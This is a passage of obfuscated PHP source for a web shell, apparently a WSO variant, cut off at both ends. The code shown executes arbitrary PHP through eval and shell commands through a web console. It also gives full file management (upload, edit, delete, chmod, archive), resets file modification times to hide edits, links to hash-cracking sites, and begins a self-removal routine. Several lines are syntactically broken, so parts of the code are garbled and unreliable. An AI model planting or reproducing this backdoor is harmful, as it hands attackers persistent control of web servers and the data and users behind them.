echo str_replace('<h1', '<h2', $awxvrwwivwzu) . '</div><br>';
}
echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>' . (!empty($_POST['dttbek']) ? htmlspecialchars($_POST['dttbek']) : '') . '</textarea><input type=submit value=Eval style="margin-top:5px">';
echo ' <input type=checkbox name=ajax value=1 ' . ($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . '> send using AJAX</form><pre id=PhpOutput style="' . (empty($_POST['dttbek']) ? 'display:none;' : '') . 'margin-top:5px;" class=ml1>';
if (!empty($_POST['dttbek'])) {
ob_start();
eval($_POST['dttbek']);
echo htmlspecialchars(ob_get_clean());
}
echo '</pre></div>';
dhexky();
}
function actionFilesMan() {
if (!empty($_COOKIE['abu'])) {
$_COOKIE['abu'] = @unserialize($_COOKIE['abu']);
}
if (!empty($_POST['dttbek'])) {
switch ($_POST['dttbek']) {
case 'uploadFile':
if (!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name'])) {
echo "Can't upload file!";
}
break;
case 'mkdir':
if (!@mkdir($_POST['buzd'])) {
echo "Can't create new dir";
}
break;
case 'delete':
function gwnkf($jrirvlltjwyu) {
$jrirvlltjwyu = (substr($jrirvlltjwyu, -1) == '/') ? $jrirvlltjwyu : $jrirvlltjwyu . '/';
$hkqmyrmalvo = opendir($jrirvlltjwyu);
while (($jrunmeud = readdir($hkqmyrmalvo)) !== false) {
$jrunmeud = $jrirvlltjwyu . $jrunmeud;
if ((basename($jrunmeud) == "..") || (basename($jrunmeud) == )) {
continue;
}
$ljwfmtqllva = filetype($jrunmeud);
if ($ljwfmtqllva == "dir") {
gwnkf($jrunmeud);
} else {
@unlink($jrunmeud);
}
}
closedir($hkqmyrmalvo);
@rmdir($jrirvlltjwyu);
}
if (is_array(@$_POST['f'])) {
foreach ($_POST['f'] as $lpolrzfdh) {
if ($lpolrzfdh == '..') {
continue;
}
$lpolrzfdh = urldecode($lpolrzfdh);
if (is_dir($lpolrzfdh)) {
gwnkf($lpolrzfdh);
} else {
@unlink($lpolrzfdh);
}
}
}
break;
case 'paste':
if ($_COOKIE['guw'] == 'copy') {
function purreb($ouskzvmzvbfm, $aoifztadax, $triletymdj) {
if (is_dir($ouskzvmzvbfm . $aoifztadax)) {
mkdir($triletymdj . $aoifztadax);
$fwvdvsmkggu = @opendir($ouskzvmzvbfm . $aoifztadax);
while (($lpolrzfdh = @readdir($fwvdvsmkggu)) !== false) {
if (($lpolrzfdh != ) and ($lpolrzfdh != "..")) {
purreb($ouskzvmzvbfm . $aoifztadax . '/', $lpolrzfdh, $triletymdj . $aoifztadax . '/');
}
}
} elseif (is_file($ouskzvmzvbfm . $aoifztadax)) {
@copy($ouskzvmzvbfm . $aoifztadax, $triletymdj . $aoifztadax);
}
}
foreach ($_COOKIE['abu'] as $lpolrzfdh) {
purreb($_COOKIE['zmcqn'], $lpolrzfdh, $GLOBALS['yzbuykdzpp']);
}
} elseif ($_COOKIE['guw'] == 'move') {
function ffqwsysl($ouskzvmzvbfm, $aoifztadax, $triletymdj) {
if (is_dir($ouskzvmzvbfm . $aoifztadax)) {
mkdir($triletymdj . $aoifztadax);
$fwvdvsmkggu = @opendir($ouskzvmzvbfm . $aoifztadax);
while (($lpolrzfdh = @readdir($fwvdvsmkggu)) !== false) {
if (($lpolrzfdh != ) and ($lpolrzfdh != "..")) {
purreb($ouskzvmzvbfm . $aoifztadax . '/', $lpolrzfdh, $triletymdj . $aoifztadax . '/');
}
}
} elseif (@is_file($ouskzvmzvbfm . $aoifztadax)) {
@copy($ouskzvmzvbfm . $aoifztadax, $triletymdj . $aoifztadax);
}
}
foreach ($_COOKIE['abu'] as $lpolrzfdh) {
@rename($_COOKIE['zmcqn'] . $lpolrzfdh, $GLOBALS['yzbuykdzpp'] . $lpolrzfdh);
}
} elseif ($_COOKIE['guw'] == 'zip') {
if (class_exists('ZipArchive')) {
$zip = new ZipArchive();
if ($zip->open($_POST['buzd'], 1)) {
chdir($_COOKIE['zmcqn']);
foreach ($_COOKIE['abu'] as $lpolrzfdh) {
if ($lpolrzfdh == '..') {
continue;
}
if (@is_file($_COOKIE['zmcqn'] . $lpolrzfdh)) {
$zip->addFile($_COOKIE['zmcqn'] . $lpolrzfdh, $lpolrzfdh);
} elseif (@is_dir($_COOKIE['zmcqn'] . $lpolrzfdh)) {
$bzuubdrrkvc = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($lpolrzfdh . '/', FilesystemIterator::SKIP_DOTS));
foreach ($bzuubdrrkvc as $inlsmbp => $qozbnrapnnyq) {
$zip->addFile(realpath($inlsmbp), $inlsmbp);
}
}
}
chdir($GLOBALS['yzbuykdzpp']);
$zip->close();
}
}
} elseif ($_COOKIE['guw'] == 'unzip') {
if (class_exists('ZipArchive')) {
$zip = new ZipArchive();
foreach ($_COOKIE['abu'] as $lpolrzfdh) {
if ($zip->open($_COOKIE['zmcqn'] . $lpolrzfdh)) {
$zip->extractTo($GLOBALS['yzbuykdzpp']);
$zip->close();
}
}
}
} elseif ($_COOKIE['guw'] == 'tar') {
chdir($_COOKIE['zmcqn']);
$_COOKIE['abu'] = array_map('escapeshellarg', $_COOKIE['abu']);
mtnbzgk('tar cfzv ' . escapeshellarg($_POST['buzd']) . ' ' . implode(' ', $_COOKIE['abu']));
chdir($GLOBALS['yzbuykdzpp']);
}
unset($_COOKIE['abu']);
setcookie('abu', '', time() - 3600);
break;
default:
if (!empty($_POST['dttbek'])) {
sjzdrrj('guw', $_POST['dttbek']);
sjzdrrj('abu', serialize(@$_POST['f']));
sjzdrrj('zmcqn', @$_POST['wajx']);
}
break;
}
}
xvecpyifn();
echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
$axeevv = hiovsxs(isset($_POST['wajx']) ? $_POST['wajx'] : $GLOBALS['yzbuykdzpp']);
if ($axeevv === false) {
echo 'Can\'t open this folder!';
dhexky();
return;
}
global $maqryvi;
$maqryvi = array('name', 1);
if (!empty($_POST['dttbek'])) {
if (preg_match('!s_([A-z]+)_(\d{1})!', $_POST['dttbek'], $toujfotsumk)) {
$maqryvi = array($toujfotsumk[1], (int)$toujfotsumk[2]);
}
}
echo "<script>
function sa() {
for(i=0;i<d.files.elements.length;i++)
if(d.files.elements[i].type == 'checkbox')
d.files.elements[i].checked = d.files.elements[0].checked;
}
</script>
<table width='100%' class='main' cellspacing='0' cellpadding='2'>
<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_" . ($maqryvi[1] ? 0 : 1) . "\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_" . ($maqryvi[1] ? 0 : 1) . "\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_" . ($maqryvi[1] ? 0 : 1) . "\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_" . ($maqryvi[1] ? 0 : 1) . "\")'>Permissions</a></th><th>Actions</th></tr>";
$flkqfta = $yscvbza = array();
$zzchgdnvz = count($axeevv);
for ($pmfjcatzbi = 0; $pmfjcatzbi < $zzchgdnvz; $pmfjcatzbi++) {
$mhhyojhsjxp = @posix_getpwuid(@fileowner($axeevv[$pmfjcatzbi]));
$qbphllwgvy = @posix_getgrgid(@filegroup($axeevv[$pmfjcatzbi]));
$awxvrwwivwzu = array(
'name' => $axeevv[$pmfjcatzbi],
'path' => $GLOBALS['yzbuykdzpp'] . $axeevv[$pmfjcatzbi],
'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['yzbuykdzpp'] . $axeevv[$pmfjcatzbi])),
'perms' => uxilpnm($GLOBALS['yzbuykdzpp'] . $axeevv[$pmfjcatzbi]),
'size' => @filesize($GLOBALS['yzbuykdzpp'] . $axeevv[$pmfjcatzbi]),
'owner' => $mhhyojhsjxp['name'] ? $mhhyojhsjxp['name'] : @fileowner($axeevv[$pmfjcatzbi]),
'group' => $qbphllwgvy['name'] ? $qbphllwgvy['name'] : @filegroup($axeevv[$pmfjcatzbi])
);
if (@is_file($GLOBALS['yzbuykdzpp'] . $axeevv[$pmfjcatzbi])) {
$yscvbza[] = array_merge($awxvrwwivwzu, array('type' => 'file'));
} elseif (@is_link($GLOBALS['yzbuykdzpp'] . $axeevv[$pmfjcatzbi])) {
$flkqfta[] = array_merge($awxvrwwivwzu, array('type' => 'link', 'link' => readlink($awxvrwwivwzu['path'])));
} elseif (@is_dir($GLOBALS['yzbuykdzpp'] . $axeevv[$pmfjcatzbi])) {
$flkqfta[] = array_merge($awxvrwwivwzu, array('type' => 'dir'));
}
}
$GLOBALS['maqryvi'] = $maqryvi;
function cnfccitcl($tbmijukupuqs, $ytdnvpkxplbn) {
if ($GLOBALS['maqryvi'][0] != 'size') {
return strcmp(strtolower($tbmijukupuqs[$GLOBALS['maqryvi'][0]]), strtolower($ytdnvpkxplbn[$GLOBALS['maqryvi'][0]])) * ($GLOBALS['maqryvi'][1] ? 1 : -1);
} else {
return (($tbmijukupuqs['size'] < $ytdnvpkxplbn['size']) ? -1 : 1) * ($GLOBALS['maqryvi'][1] ? 1 : -1);
}
}
usort($yscvbza, "cnfccitcl");
usort($flkqfta, "cnfccitcl");
$yscvbza = array_merge($flkqfta, $yscvbza);
$paknpln = 0;
foreach ($yscvbza as $lpolrzfdh) {
echo '<tr' . ($paknpln ? ' class=l1' : '') . '><td><input type=checkbox name="f[]" value="' . urlencode($lpolrzfdh['name']) . '" class=chkbx></td><td><a href=# onclick="' . (($lpolrzfdh['type'] == 'file') ? 'g(\'FilesTools\',null,\'' . urlencode($lpolrzfdh['name']) . '\', \'view\')">' . htmlspecialchars($lpolrzfdh['name']) : 'g(\'FilesMan\',\'' . $lpolrzfdh['path'] . '\');" ' . (empty($lpolrzfdh['link']) ? '' : "title='{$lpolrzfdh['link']}'") . '><b>[ ' . htmlspecialchars($lpolrzfdh['name']) . ' ]</b>') . '</a></td><td>' . (($lpolrzfdh['type'] == 'file') ? yikvvlip($lpolrzfdh['size']) : $lpolrzfdh['type']) . '</td><td>' . $lpolrzfdh['modify'] . '</td><td>' . $lpolrzfdh['owner'] . '/' . $lpolrzfdh['group'] . '</td><td><a href=# onclick="g(\'FilesTools\',null,\'' . urlencode($lpolrzfdh['name']) . '\',\'chmod\')">' . $lpolrzfdh['perms']
. '</td><td><a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($lpolrzfdh['name']) . '\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($lpolrzfdh['name']) . '\', \'touch\')">T</a>' . (($lpolrzfdh['type'] == 'file') ? ' <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($lpolrzfdh['name']) . '\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($lpolrzfdh['name']) . '\', \'download\')">D</a>' : '') . '</td></tr>';
$paknpln = $paknpln ? 0 : 1;
}
echo "<tr><td colspan=7>
<input type=hidden name=wveg value='" . cjjgcnn('FilesMan') . "'>
<input type=hidden name=wajx value='" . cjjgcnn(htmlspecialchars($GLOBALS['yzbuykdzpp'])) . "'>
<input type=hidden name=shap value='" . (isset($_POST['shap']) ? $_POST['shap'] : '') . "'>
<select name='dttbek'><option value='" . cjjgcnn('copy') . "'>Copy</option><option value='" . cjjgcnn('move') . "'>Move</option><option value='" . cjjgcnn('delete') . "'>Delete</option>";
if (class_exists('ZipArchive')) {
echo "<option value='" . cjjgcnn('zip') . "'>Compress (zip)</option><option value='" . cjjgcnn('unzip') . "'>Uncompress (zip)</option>";
}
echo "<option value='" . cjjgcnn('tar') . "'>Compress (tar.gz)</option>";
if (!empty($_COOKIE['guw']) && (isset($_COOKIE['abu']) && !empty($_COOKIE['abu']))) {
echo "<option value='" . cjjgcnn('paste') . "'>Paste / Compress</option>";
}
echo "</select> ";
if (!empty($_COOKIE['guw']) && (isset($_COOKIE['abu']) && !empty($_COOKIE['abu'])) && (($_COOKIE['guw'] == 'zip') || ($_COOKIE['guw'] == 'tar'))) {
$pbmmpzfnnf = "wso_" . date("Ymd_His") . . ($_COOKIE['guw'] == 'zip' ? 'zip' : 'tar.gz');
echo "file name: <input type=text name=p2 value='" . cjjgcnn($pbmmpzfnnf) . "'> ";
}
echo "<input type='submit' value='>>'></td></tr></form></table></div>";
dhexky();
}
function actionStringTools() {
if (!function_exists('hex2bin')) {
function hex2bin($uzwger) {
return decbin(hexdec($uzwger));
}
}
if (!function_exists('binhex')) {
function kovrnzk($uzwger) {
return dechex(bindec($uzwger));
}
}
if (!function_exists('hex2ascii')) {
function gucpczv($uzwger) {
$uuqhqf = '';
for ($pmfjcatzbi = 0; $pmfjcatzbi < strLen($uzwger); $pmfjcatzbi += 2) {
$uuqhqf .= chr(hexdec($uzwger[$pmfjcatzbi] . $uzwger[$pmfjcatzbi + 1]));
}
return $uuqhqf;
}
}
if (!function_exists('ascii2hex')) {
function odhydkb($uzwger) {
$uuqhqf = '';
for ($pmfjcatzbi = 0; $pmfjcatzbi < strlen($uzwger); ++$pmfjcatzbi) {
$uuqhqf .= sprintf('%02X', ord($uzwger[$pmfjcatzbi]));
return strtoupper($uuqhqf);
}
}
}
if (!function_exists('full_urlencode')) {
function gpxvsehju($uzwger) {
$uuqhqf = '';
for ($pmfjcatzbi = 0; $pmfjcatzbi < strlen($uzwger); ++$pmfjcatzbi) {
$uuqhqf .= '%' . dechex(ord($uzwger[$pmfjcatzbi]));
return strtoupper($uuqhqf);
}
}
}
$tkwwfwza = array(
'Base64 encode' => 'base64_encode',
'Base64 decode' => 'base64_decode',
'Url encode' => 'urlencode',
'Url decode' => 'urldecode',
'Full urlencode' => 'full_urlencode',
'md5 hash' => 'md5',
'sha1 hash' => 'sha1',
'crypt' => 'crypt',
'CRC32' => 'crc32',
'ASCII to HEX' => 'ascii2hex',
'HEX to ASCII' => 'hex2ascii',
'HEX to DEC' => 'hexdec',
'HEX to BIN' => 'hex2bin',
'DEC to HEX' => 'dechex',
'DEC to BIN' => 'decbin',
'BIN to HEX' => 'binhex',
'BIN to DEC' => 'bindec',
'String to lower case' => 'strtolower',
'String to upper case' => 'strtoupper',
'Htmlspecialchars' => 'htmlspecialchars',
'String length' => 'strlen',
);
if (isset($_POST['azlfu'])) {
sjzdrrj(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
ob_start();
if (in_array($_POST['dttbek'], $tkwwfwza)) {
echo $_POST['dttbek']($_POST['buzd']);
}
$tgsrifwrb = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\'\0") . "';\n";
echo strlen($tgsrifwrb), "\n", $tgsrifwrb;
exit;
}
if (empty($_POST['azlfu']) && !empty($_POST['dttbek'])) {
sjzdrrj(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
}
xvecpyifn();
echo '<h1>String conversions</h1><div class=content>';
echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
foreach ($tkwwfwza as $ziyddth => $yhtjwnbf) {
echo "<option value='" . htmlspecialchars($yhtjwnbf) . "'>" . $ziyddth . "</option>";
}
echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 " . (@$_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . "> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>" . (empty($_POST['dttbek']) ? '' : htmlspecialchars(@$_POST['buzd'])) . "</textarea></form><pre class='ml1' style='" . (empty($_POST['dttbek']) ? 'display:none;' : '') . "margin-top:5px' id='strOutput'>";
if (!empty($_POST['dttbek'])) {
if (in_array($_POST['dttbek'], $tkwwfwza)) {
echo htmlspecialchars($_POST['dttbek']($_POST['buzd']));
}
}
echo "</pre></div><br><h1>Search files:</h1><div class=content>
<form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
<tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
<tr><td>Path:</td><td><input type='text' name='cwd' value='" . htmlspecialchars($GLOBALS['yzbuykdzpp']) . "' style='width:100%'></td></tr>
<tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
<tr><td></td><td><input type='submit' value='>>'></td></tr>
</table></form>";
function fbhsztju($jrirvlltjwyu) {
if (substr($jrirvlltjwyu, -1) != '/') {
$jrirvlltjwyu .= '/';
}
$pgbanbfce = @array_unique(@array_merge(@glob($jrirvlltjwyu . $_POST['ssfs']), @glob($jrirvlltjwyu . '*', GLOB_ONLYDIR)));
if (is_array($pgbanbfce) && @count($pgbanbfce)) {
foreach ($pgbanbfce as $jrunmeud) {
if (@is_dir($jrunmeud)) {
if ($jrirvlltjwyu != $jrunmeud) {
fbhsztju($jrunmeud);
}
} else {
if (empty($_POST['buzd']) || @strpos(file_get_contents($jrunmeud), $_POST['buzd']) !== false) {
echo "<a href='#' onclick='g(\"FilesTools\",null,\"" . urlencode($jrunmeud) . "\", \"view\",\"\")'>" . htmlspecialchars($jrunmeud) . "</a><br>";
}
}
}
}
}
if (@$_POST['ssfs']) {
fbhsztju($_POST['wajx']);
}
echo "</div><br><h1>Search for hash:</h1><div class=content>
<form method='post' target='_blank' name='hf'>
<input type='text' name='hash' style='width:200px;'><br>
<input type='hidden' name='act' value='find'/>
<input type='button' value='hashcracking.ru' onclick=\"document.hf.action='https://hashcracking.ru/index.php';document.hf.submit()\"><br>
<input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
<input type='button' value='crackfor.me' onclick=\"document.hf.action='http://crackfor.me/index.php';document.hf.submit()\"><br>
</form></div>";
dhexky();
}
function actionFilesTools() {
if (isset($_POST['dttbek'])) {
$_POST['dttbek'] = urldecode($_POST['dttbek']);
}
if (@$_POST['buzd'] == 'download') {
if (@is_file($_POST['dttbek']) && @is_readable($_POST['dttbek'])) {
ob_start("ob_gzhandler", 4096);
header("Content-Disposition: attachment; filename=" . basename($_POST['dttbek']));
if (function_exists("mime_content_type")) {
$ljwfmtqllva = @mime_content_type($_POST['dttbek']);
header("Content-Type: " . $ljwfmtqllva);
} else {
header("Content-Type: application/octet-stream");
}
$aujlqtpiirjx = @fopen($_POST['dttbek'], "r");
if ($aujlqtpiirjx) {
while (!@feof($aujlqtpiirjx)) {
echo @fread($aujlqtpiirjx, 1024);
}
fclose($aujlqtpiirjx);
}
}
exit;
}
if (@$_POST['buzd'] == 'mkfile') {
if (!file_exists($_POST['dttbek'])) {
$aujlqtpiirjx = @fopen($_POST['dttbek'], 'w');
if ($aujlqtpiirjx) {
$_POST['buzd'] = "edit";
fclose($aujlqtpiirjx);
}
}
}
xvecpyifn();
echo '<h1>File tools</h1><div class=content>';
if (!file_exists(@$_POST['dttbek'])) {
echo 'File not exists';
dhexky();
return;
}
$roetzpoorfep = @posix_getpwuid(@fileowner($_POST['dttbek']));
if (!$roetzpoorfep) {
$roetzpoorfep['name'] = @fileowner($_POST['dttbek']);
$cxkrappg['name'] = @filegroup($_POST['dttbek']);
} else {
$cxkrappg = @posix_getgrgid(@filegroup($_POST['dttbek']));
}
echo '<span>Name:</span> ' . htmlspecialchars(@basename($_POST['dttbek'])) . ' <span>Size:</span> ' . (is_file($_POST['dttbek']) ? yikvvlip(filesize($_POST['dttbek'])) : '-') . ' <span>Permission:</span> ' . uxilpnm($_POST['dttbek']) . ' <span>Owner/Group:</span> ' . $roetzpoorfep['name'] . '/' . $cxkrappg['name'] . '<br>';
echo '<span>Change time:</span> ' . date('Y-m-d H:i:s', filectime($_POST['dttbek'])) . ' <span>Access time:</span> ' . date('Y-m-d H:i:s', fileatime($_POST['dttbek'])) . ' <span>Modify time:</span> ' . date('Y-m-d H:i:s', filemtime($_POST['dttbek'])) . '<br><br>';
if (empty($_POST['buzd'])) {
$_POST['buzd'] = 'view';
}
if (is_file($_POST['dttbek'])) {
$lallrvlqzos = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
} else {
$lallrvlqzos = array('Chmod', 'Rename', 'Touch');
}
foreach ($lallrvlqzos as $yhtjwnbf) {
echo '<a href=# onclick="g(null,null,\'' . urlencode($_POST['dttbek']) . '\',\'' . strtolower($yhtjwnbf) . '\')">' . ((strtolower($yhtjwnbf) == @$_POST['buzd']) ? '<b>[ ' . $yhtjwnbf . ' ]</b>' : $yhtjwnbf) . '</a> ';
}
echo '<br><br>';
switch ($_POST['buzd']) {
case 'view':
echo '<pre class=ml1>';
$aujlqtpiirjx = @fopen($_POST['dttbek'], 'r');
if ($aujlqtpiirjx) {
while (!@feof($aujlqtpiirjx)) {
echo htmlspecialchars(@fread($aujlqtpiirjx, 1024));
}
@fclose($aujlqtpiirjx);
}
echo '</pre>';
break;
case 'highlight':
if (@is_readable($_POST['dttbek'])) {
echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
$odmekwwkjpw = @highlight_file($_POST['dttbek'], true);
echo str_replace(array('<span ', '</span>'), array('<font ', '</font>'), $odmekwwkjpw) . '</div>';
}
break;
case 'chmod':
if (!empty($_POST['ssfs'])) {
$dclmzey = 0;
for ($pmfjcatzbi = strlen($_POST['ssfs']) - 1; $pmfjcatzbi >= 0; --$pmfjcatzbi) {
$dclmzey += (int)$_POST['ssfs'][$pmfjcatzbi] * pow(8, (strlen($_POST['ssfs']) - $pmfjcatzbi - 1));
}
if (!@chmod($_POST['dttbek'], $dclmzey)) {
echo 'Can\'t set permissions!<br><script>document.frudge.p3.value="";</script>';
}
}
clearstatcache();
echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['dttbek']) . '\',null,this.chmod.value);return false;"><input type=text name=chmod value="' . substr(sprintf('%o', fileperms($_POST['dttbek'])), -4) . '"><input type=submit value=">>"></form>';
break;
case 'edit':
if (!is_writable($_POST['dttbek'])) {
echo 'File isn\'t writeable';
break;
}
if (!empty($_POST['ssfs'])) {
$ziguoyupai = @filemtime($_POST['dttbek']);
$_POST['ssfs'] = substr($_POST['ssfs'], 1);
$aujlqtpiirjx = @fopen($_POST['dttbek'], "w");
if ($aujlqtpiirjx) {
@fwrite($aujlqtpiirjx, $_POST['ssfs']);
@fclose($aujlqtpiirjx);
echo 'Saved!<br><script>p3_="";</script>';
@touch($_POST['dttbek'], $ziguoyupai, $ziguoyupai);
}
}
echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['dttbek']) . '\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
$aujlqtpiirjx = @fopen($_POST['dttbek'], 'r');
if ($aujlqtpiirjx) {
while (!@feof($aujlqtpiirjx)) {
echo htmlspecialchars(@fread($aujlqtpiirjx, 1024));
}
@fclose($aujlqtpiirjx);
}
echo '</textarea><input type=submit value=">>"></form>';
break;
case 'hexdump':
$ouskzvmzvbfm = @file_get_contents($_POST['dttbek']);
$zzchgdnvz = 0;
$fwvdvsmkggu = array('00000000<br>', '', '');
$nvrpmvxqk = strlen($ouskzvmzvbfm);
for ($pmfjcatzbi = 0; $pmfjcatzbi < $nvrpmvxqk; ++$pmfjcatzbi) {
$fwvdvsmkggu[1] .= sprintf('%02X', ord($ouskzvmzvbfm[$pmfjcatzbi])) . ' ';
switch (ord($ouskzvmzvbfm[$pmfjcatzbi])) {
case 0:
$fwvdvsmkggu[2] .= ' ';
break;
case 9:
$fwvdvsmkggu[2] .= ' ';
break;
case 10:
$fwvdvsmkggu[2] .= ' ';
break;
case 13:
$fwvdvsmkggu[2] .= ' ';
break;
default:
$fwvdvsmkggu[2] .= $ouskzvmzvbfm[$pmfjcatzbi];
break;
}
$zzchgdnvz++;
if ($zzchgdnvz == 32) {
$zzchgdnvz = 0;
if ($pmfjcatzbi + 1 < $nvrpmvxqk) {
$fwvdvsmkggu[0] .= sprintf('%08X', $pmfjcatzbi + 1) . '<br>';
}
$fwvdvsmkggu[1] .= '<br>';
$fwvdvsmkggu[2] .= "\n";
}
}
echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>' . $fwvdvsmkggu[0] . '</pre></span></td><td bgcolor=#282828><pre>' . $fwvdvsmkggu[1] . '</pre></td><td bgcolor=#333333><pre>' . htmlspecialchars($fwvdvsmkggu[2]) . '</pre></td></tr></table>';
break;
case 'rename':
if (!empty($_POST['ssfs'])) {
if (!@rename($_POST['dttbek'], $_POST['ssfs'])) {
echo 'Can\'t rename!<br>';
} else {
die('<script>g(null,null,"' . urlencode($_POST['ssfs']) . '",null,"")</script>');
}
}
echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['dttbek']) . '\',null,this.name.value);return false;"><input type=text name=name value="' . htmlspecialchars($_POST['dttbek']) . '"><input type=submit value=">>"></form>';
break;
case 'touch':
if (!empty($_POST['ssfs'])) {
$ziguoyupai = strtotime($_POST['ssfs']);
if ($ziguoyupai) {
if (!touch($_POST['dttbek'], $ziguoyupai, $ziguoyupai)) {
echo 'Fail!';
} else {
echo 'Touched!';
}
} else {
echo 'Bad time format!';
}
}
clearstatcache();
echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['dttbek']) . '\',null,this.touch.value);return false;"><input type=text name=touch value="' . date("Y-m-d H:i:s", @filemtime($_POST['dttbek'])) . '"><input type=submit value=">>"></form>';
break;
}
echo '</div>';
dhexky();
}
function actionConsole() {
if (!empty($_POST['dttbek']) && !empty($_POST['buzd'])) {
sjzdrrj(md5($_SERVER['HTTP_HOST']) . 'stderr_to_out', true);
$_POST['dttbek'] .= ' 2>&1';
} elseif (!empty($_POST['dttbek'])) {
sjzdrrj(md5($_SERVER['HTTP_HOST']) . 'stderr_to_out', 0);
}
if (isset($_POST['azlfu'])) {
sjzdrrj(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
ob_start();
echo "d.cf.cmd.value='';\n";
$tgsrifwrb = @iconv($_POST['shap'], 'UTF-8', addcslashes("\n$ " . $_POST['dttbek'] . "\n" . mtnbzgk($_POST['dttbek']), "\n\r\t\\'\0"));
if (preg_match("!.*cd\s+([^;]+)$!", $_POST['dttbek'], $toujfotsumk)) {
if (@chdir($toujfotsumk[1])) {
$GLOBALS['yzbuykdzpp'] = @getcwd();
echo "c_='" . $GLOBALS['yzbuykdzpp'] . "';";
}
}
echo "d.cf.output.value+='" . $tgsrifwrb . "';";
echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
$tgsrifwrb = ob_get_clean();
echo strlen($tgsrifwrb), "\n", $tgsrifwrb;
exit;
}
if (empty($_POST['azlfu']) && !empty($_POST['dttbek'])) {
sjzdrrj(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
}
xvecpyifn();
echo "<script>
if(window.Event) window.captureEvents(Event.KEYDOWN);
var cmds = new Array('');
var cur = 0;
function kp(e) {
var n = (window.Event) ? e.which : e.keyCode;
if(n == 38) {
cur--;
if(cur>=0)
document.cf.cmd.value = cmds[cur];
else
cur++;
} else if(n == 40) {
cur++;
if(cur < cmds.length)
document.cf.cmd.value = cmds[cur];
else
cur--;
}
}
function add(cmd) {
cmds.pop();
cmds.push(cmd);
cmds.push('');
cur = cmds.length-1;
}
</script>";
echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';
foreach ($GLOBALS['jvrafexcy'] as $zzchgdnvz => $yhtjwnbf) {
if ($yhtjwnbf == '') {
echo '<optgroup label="-' . htmlspecialchars($zzchgdnvz) . '-"></optgroup>';
continue;
}
echo '<option value="' . htmlspecialchars($yhtjwnbf) . '">' . $zzchgdnvz . '</option>';
}
echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 ' . (@$_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . '> send using AJAX <input type=checkbox name=show_errors value=1 ' . (!empty($_POST['buzd']) || $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'stderr_to_out'] ? 'checked' : '') . '> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
if (!empty($_POST['dttbek'])) {
echo htmlspecialchars("$ " . $_POST['dttbek'] . "\n" . mtnbzgk($_POST['dttbek']));
}
echo '</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
echo '</form></div><script>d.cf.cmd.focus();</script>';
dhexky();
}
function actionLogout() {
setcookie(md5($_SERVER['HTTP_HOST']), '', time() - 3600);
die('bye!');
}
function actionSelfRemove() {
if ($_POST['dttbek'] == 'yes') {
if (@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__))) {
